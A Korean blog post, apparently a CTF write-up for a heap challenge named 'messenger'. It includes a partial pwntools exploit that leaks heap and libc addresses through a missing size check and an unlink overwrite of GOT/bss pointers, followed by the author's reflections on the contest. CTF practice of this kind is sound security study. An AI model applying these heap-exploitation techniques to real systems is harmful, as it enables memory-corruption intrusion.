하.. 이건 사연이 많다..
먼저
malloc과 free가 usercode로 프로그래밍 되어 있었다.
분석해서 free에서 unlink코드가 있다는 걸 알아냈고, 채팅방에 말했다.
heap 릭은 message수정할때 사이즈 체크를 안해서 따올 수 있었는데, 내가 분석할 동안 그부분부터 짜던
친구가 나보다 먼저 익스를 짜버렸다.. 이치에 맞긴 하지만 좀 속상했다....본선은 못갈듯 싶다
그 친구는 got에 쉘코드 주소를 올렸지만
(heap에 실행권한)
나는 messenger heap주소가 잇는 bss에 exit_got를 올리고
libc릭한다음
exec_comm으로 원콤 내려했다.
릭까지하고 exec_comm 주소 찾고 있었는데,,
속상해서 멈췃다 암튼 익스 거기 까지 짰다. 못보겠다. ㅎㅣㅇ
from pwn import * #raw_input() import time def leave(size,message): p.sendline('L') p.recvuntil('size : ') p.sendline(str(size)) p.recvuntil('msg : ') p.sendline(message) def remove(ind): p.sendline('R') p.recvuntil('index : ') p.sendline(str(ind)) def change(ind,size,message): p.sendline('C') #time.sleep(1) p.recvuntil('index') p.sendline(str(ind)) #p.interactive() p.recvuntil('size') p.sendline(str(size)) p.recvuntil('msg : ') p.send(message) p=process('./messenger') raw_input() leave(10,'AAAA') p.recvuntil('>>') leave(30,'BBBB') p.recvuntil('>>') change(0,32,'A'*32) p.recvuntil('>>') p.sendline('V') p.recvuntil('index') p.sendline('0') p.recvuntil('A'*32) heapleak=u64(p.recv(4).ljust(8,'\x00')) print hex(heapleak) s='' s+=p64(1)*3 s+=p64(0x90909090) puts_got=0x0602018 s+=p64(0x6020c0-16) s+=p64(puts_got) #message1 change(0,48,s) remove(1) p.recvuntil('>>') p.sendline('V') p.recvuntil('index') p.sendline('0') print p.recv(6) libcleak=u64(p.recv(6).ljust(8,'\x00')) print hex(libcleak) p.interactive()
자투리 대회 후기..
왤케 푼 문제들이 다 타이밍이 어긋나는지..ㅠㅠㅠ 결국은 아무것도 못푼 셈이 되버렸다..
그래도 행운은 보존된다고 했으니 다음에 더 큰 기회가 찾아 올것이고 더 공부 재밋게 또 열심히 해서 꽉 잡으면 될 것같다!
결과는 무시무시한 선배님들의 캐리로 대학생부 5등으로 마무리했다. 참 어찌 그리 잘하는지.. 신기하고 자랑스럽기도 하고 존경스럽기도 하고 이기고 싶기도 하고..
속상한데 교훈은 많다.. 뭔가 ctf를 넘어선 인생교훈..?
아무튼 결론은 타이밍이나 엉뚱한 이유로 묻히는 것 역시 결국 실력 부족이니 앞으로 더 열심히 해야겠다.
'CTF' 카테고리의 다른 글
[codegate 2017 prequal]hunting (0) | 2017.02.13 |
---|---|
[codegate17 prequal]hello protector (0) | 2017.02.12 |
[codegate17 prequal]angrybird (0) | 2017.02.11 |
[HITCON2014]stkof (0) | 2017.02.07 |
[codegate2016]bugbug (0) | 2017.02.02 |